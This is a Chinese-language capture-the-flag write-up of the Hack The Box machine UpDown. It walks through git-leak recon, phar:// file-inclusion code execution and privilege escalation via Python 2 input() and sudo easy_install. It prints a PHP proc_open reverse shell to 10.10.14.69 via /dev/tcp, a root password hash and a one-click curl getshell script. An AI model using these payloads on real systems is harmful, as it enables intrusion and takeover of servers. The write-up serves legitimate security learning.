UpDown
Recon
Ports
rustscan -a siteisup.htb -r 20-10000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.129.12.244:22:
Open 10.129.12.244:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 16:14 CST
Initiating Ping Scan at 16:14
Scanning 10.129.12.244 [4 ports]
Completed Ping Scan at 16:14, 0.32s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:14
Scanning siteisup.htb (10.129.12.244) [2 ports]
Discovered open port 80/tcp on 10.129.12.244
Discovered open port 22/tcp on 10.129.12.244
Completed SYN Stealth Scan at 16:14, 0.30s elapsed (2 total ports)
Nmap scan report for siteisup.htb (10.129.12.244)
Host is up, received echo-reply ttl 63 (0.29s latency).
Scanned at 2025-06-12 16:14:42 CST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.75 seco
仅开放22,80。
界面如下,存在一个检测网站是否存活的功能点。将siteisup加入hosts文件。
网站架构:
whatweb http://siteisup.htb/
http://siteisup.htb/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.12.244], Title[Is my Website up ?], X-UA-Compatible[chrome=1]
目录扫描
feroxbuster -u http://siteisup.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://siteisup.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 320l 675w 5531c http://siteisup.htb/stylesheet.css
200 GET 40l 93w 1131c http://siteisup.htb/
301 GET 9l 28w 310c http://siteisup.htb/dev => http://siteisup.htb/dev/
200 GET 1l 2w 21c http://siteisup.htb/dev/.git/HEAD
200 GET 13l 35w 298c http://siteisup.htb/dev/.git/config
200 GET 3l 17w 762c http://siteisup.htb/dev/.git/index
200 GET 1l 9w 179c http://siteisup.htb/dev/.git/logs/HEAD
301 GET 9l 28w 315c http://siteisup.htb/dev/.git => http://siteisup.htb/dev/.git/
200 GET 2l 8w 112c http://siteisup.htb/dev/.git/packed-refs
200 GET 40l 93w 1131c http://siteisup.htb/index.php
200 GET 6l 43w 240c http://siteisup.htb/dev/.git/info/exclude
200 GET 17l 71w 1143c http://siteisup.htb/dev/.git/logs/
200 GET 1l 10w 73c http://siteisup.htb/dev/.git/description
200 GET 14l 69w 424c http://siteisup.htb/dev/.git/hooks/pre-applypatch.sample
200 GET 169l 798w 4898c http://siteisup.htb/dev/.git/hooks/pre-rebase.sample
200 GET 24l 83w 544c http://siteisup.htb/dev/.git/hooks/pre-receive.sample
200 GET 42l 238w 1492c http://siteisup.htb/dev/.git/hooks/prepare-commit-msg.sample
200 GET 49l 279w 1643c http://siteisup.htb/dev/.git/hooks/pre-commit.sample
200 GET 128l 546w 3650c http://siteisup.htb/dev/.git/hooks/update.sample
200 GET 53l 234w 1374c http://siteisup.htb/dev/.git/hooks/pre-push.sample
200 GET 8l 32w 189c http://siteisup.htb/dev/.git/hooks/post-update.sample
200 GET 78l 499w 2783c http://siteisup.htb/dev/.git/hooks/push-to-checkout.sample
200 GET 13l 67w 416c http://siteisup.htb/dev/.git/hooks/pre-merge-commit.sample
200 GET 15l 79w 478c http://siteisup.htb/dev/.git/hooks/applypatch-msg.sample
200 GET 173l 669w 4655c http://siteisup.htb/dev/.git/hooks/fsmonitor-watchman.sample
200 GET 24l 163w 896c http://siteisup.htb/dev/.git/hooks/commit-msg.sample
200 GET 0l 0w 0c http://siteisup.htb/dev/index.php
存在index.php文件说明目标为php环境且dev目录下存在.git泄露,dump下来。
git-dumper http://siteisup.htb/dev/ git
[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Testing http://siteisup.htb/dev/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://siteisup.htb/dev/.gitignore [404]
...
vhost爆破
gobuster vhost -u http://siteisup.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://siteisup.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.siteisup.htb Status: 403 [Size: 281]****
存在dev子域名。加入hosts访问
禁止访问。
对主页面的功能点进行测试,过滤了几乎所有特殊字符
查看.git文件泄露的内容
ls -la
总计 40
drwxrwxr-x 3 xz xz 4096 6月12日 16:45 .
drwxrwxr-x 5 xz xz 4096 6月12日 16:44 ..
-rw-rw-r-- 1 xz xz 59 6月12日 16:45 admin.php
-rw-rw-r-- 1 xz xz 147 6月12日 16:45 changelog.txt
-rw-rw-r-- 1 xz xz 3145 6月12日 16:45 checker.php
drwxrwxr-x 7 xz xz 4096 6月12日 16:45 .git
-rw-rw-r-- 1 xz xz 117 6月12日 16:45 .htaccess
-rw-rw-r-- 1 xz xz 273 6月12日 16:45 index.php
-rw-rw-r-- 1 xz xz 5531 6月12日 16:45 stylesheet.css
在.htaccess文件下发现:
cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
指定了一个Required-Header:Special-Dev: only4dev
。留待备用。
changelog.txt文件内容。
cat changelog.txt
Beta version
1- Check a bunch of websites.
-- ToDo:
1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.
有个上传功能,但目前已知主页未发现此功能点。继续查看源码 admin.php无内容,
cat admin.php
<?php
if(DIRECTACCESS){
die("Access Denied");
}
#ToDo
?>
checker.php中存在文件上传相关逻辑代码,且存在:
<?php
if(DIRECTACCESS){
die("Access Denied");
}
?>
直接访问是禁止的,dev域名存在此限制。添加htaccess文件下发现的Required-Header:Special-Dev: only4dev
,再次访问,进入了dev子域名下的界面。
This is only for developers
Admin Panel
Welcome,
Is My Website UP ?
In this version you are able to scan a list of websites !
List of websites to check:
[ ] [Check]
siteisup.htb (beta)
changelog.txt
对checker.php上传功能点代码进行审计:
function isitup($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, trim($url));
curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$f = curl_exec($ch);
$header = curl_getinfo($ch);
if($f AND $header['http_code'] == 200){
return array(true,$f);
}else{
return false;
}
curl_close($ch);
}
isitup函数对传入的url参数设置了一系列的option后执行了curl_exec函数。在 PHP 中调用 curl_exec()
,libcurl
会将整个字符串作为 URL 解析发送,无法执行系统命令。
接下来检测post参数check,满足条件则继续,对文件大小存在限制(<10000),获取文件后缀对之进行正则匹配,满足正则表达式/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i
则报错。后续将文件存放在uploads/md5(time())/
下,后续通过exolode函数读取文件内容后调用isitup函数,输出结果。在调用isitup函数前会对内容进行检测是否为file,ftp,data协议开头。最后会@unlink删除上传文件。
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}
Exploit
下面开始测试功能点,禁止上传zip等包。使用任意后缀构造一个zip文件的文件进行上传测试。
touch test.txt
zip test.zip ./test.txt
cp test.zip test.go
观察返回值:PK是zip文件开头的字节,说明尝试了解析文件。但是我的文件内容为空,依旧返回了
seems to be down :(
,这里很可疑。(猜测脚本由于解析了zip文件导致原有逻辑被打乱未执行到@unlink删除步骤。)
查看uploads下是否存在内容:
居然存在,且能够访问其中的内容。但是由于未能解压缩成功导致无法读取文件test.txt。
这里卡住了一会,翻了翻git目录发现还有一个index.php没看
cat index.php
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
存在参数page和include函数,则我们可以利用page参数使用Phar伪协议读取上传的zip文件中的php代码,进行包含调用。 创建文件:
cat in.php
<?php phpinfo(); ?>
zip info.zip ./in.php
adding: in.php (stored 0%)
成功访问。
这里我们进行RCE需要知道哪些函数我们可以利用,需要看phpinfo里的disable_function字段,我们可以选择扒下来用ai分析,或者使用如下类似工具,此工具使用的python2环境,而kaili缺少相应的包,我使用AI将此脚本转换为了python3格式。
python3 ./dfunc-bypasser.py --url 'http://dev.siteisup.htb/?page=phar://uploads/d35a3d5f859e981d665970c971bd8b3f/file.xz/in'
,---,
.' .' `\
,---.' \
| | .`\ |
: : | ' |
| ' ' ; :
' | ; . |
| | : | '
' : | / ;
| | '` ,/
; : .'
| ,.'
'---'
authors: __c3rb3ru5__, $_SpyD3r_$
[!] The following functions are **not** disabled and may be exploitable:
proc_open
运行后可知可使用proc_open函数进行RCE。构造最小化payload。
abuse `proc_open` create revshell shell.php and zip it as shell.xz
<?php
$command = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.69/4444 0>&1'";
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($command, $descriptorspec, $pipes);
?>
依照刚才的操作执行,getshell。
User
得到www-data的shell,进行信息搜集。 在/home/developer的目录下发现存在目录dev,属组为www-data。
www-data@updown:/home/developer/dev$ ls -al
ls -al
total 32
drwxr-x--- 2 developer www-data 4096 Jun 22 2022 .
drwxr-xr-x 6 developer developer 4096 Aug 30 2022 ..
-rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py
www-data@updown:/home/developer/dev$ file siteisup
file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped
www-data@updown:/home/developer/dev$ cat siteisup_
cat siteisup_test.py
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
www-data@updown:/home/developer/dev$ strings siteisup
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
setresgid
setresuid
system
getegid
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Welcome to 'siteisup.htb' application
**/usr/bin/python /home/developer/dev/siteisup_test.py**
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8061
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
siteisup.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
二进制程序存在此信息:/usr/bin/python /home/developer/dev/siteisup_test.py。我们能传入可控参数URL,能否利用这点?
poc
尝试动态加载python库os。
www-data@updown:/home/developer/dev$ ./siteisup
./siteisup
__import__('os').system('id')
uid=1002(developer) gid=33(www-data) groups=33(www-data)
可行,but why?待会分析。直接/bin/bash获得shell,但不完整。写ssh私钥获取developer的shell。
Root
sudo -l 发现easy_install。
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
运行发现:
developer@updown:~$ /usr/local/bin/easy_install
error: can't create or remove files in install directory
The following error occurred while trying to add or remove files in the
installation directory:
[Errno 13] Permission denied: '/usr/local/lib/python2.7/dist-packages/test-easy-install-2935.write-test'
The installation directory you specified (via --install-dir, --prefix, or
the distutils default setting) was:
/usr/local/lib/python2.7/dist-packages/
Perhaps your account does not have write access to this directory? If the
installation directory is a system-owned directory, you may need to sign in
as the administrator or "root" account. If you do not have administrative
access to this machine, you may wish to choose a different installation
directory, preferably one that is listed in your PYTHONPATH environment
variable.
For information on other options, you may wish to consult the
documentation at:
https://setuptools.readthedocs.io/en/latest/easy_install.html
Please make the appropriate changes for your system and try again.
搜索得知easy_install是python在使用pip之前的包管理器。可以提权
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.5tfTxHZsbu
Writing /tmp/tmp.5tfTxHZsbu/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.5tfTxHZsbu/egg-dist-tmp-kJDOMa
# whoami
root
#
`root:$6$35UwqDmGM31K3z1O$EV0yHaLbvEqQ1YfxHOl4fMFHnR0O0Lo7RSnFGpYdfUwBmec0/5JWenL6GLivYgeka8Z4XyYW2UhWOV5UOdK0w.:19165:0:99999:7:::`
Summary
基础web路径,但考察点很多:
- phar伪协议搭配文件包含RCE。
- python 2.x 动态导入库执行任意命令。
- easy-install 提权。
Beyond
- 一键getshell脚本。不一定需要bp抓包,直接上curl,-F参数上传文件。
#!/bin/bash
#abuse `proc_open` create revshell shell.php and zip it as shell.xz
#<?php
#$command = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.69/4444 0>&1'";
#$descriptorspec = array(
# 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
# 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
# 2 => array("pipe", "w") // stderr is a pipe that the child will write to
#);
#
#$process = proc_open($command, $descriptorspec, $pipes);
#?>
#zip shell.xz ./shell.php
#upload zip archive
curl -X POST http://dev.siteisup.htb/ -F "file=@shell.xz" -F "check=check" -H "Special-Dev: only4dev"
#lookup webpath
web_path=$(curl -s 'http://dev.siteisup.htb/uploads/' -H 'Special-Dev: only4dev' | grep -oE '\<[0-9a-f]{32}\>' | uniq | tail -n1)
echo -e "find the md5hash path:\n$web_path"
#getshell
curl -s "http://dev.siteisup.htb/?page=phar://uploads/$web_path/shell.xz/shell" -H 'Special-Dev: only4dev'
printf "=%.0s" {1..20}
echo "[*]execute successful,wait the shell[*]"
- 书接上问,为什么能通过动态导入提权?
查询得知,python2.x中的input函数将传入数据当成一个python表达式进行求值,也就是先执行一遍,再拼接原语句。若需修复,则需将inpu函数换为raw_input()
,避免解释执行。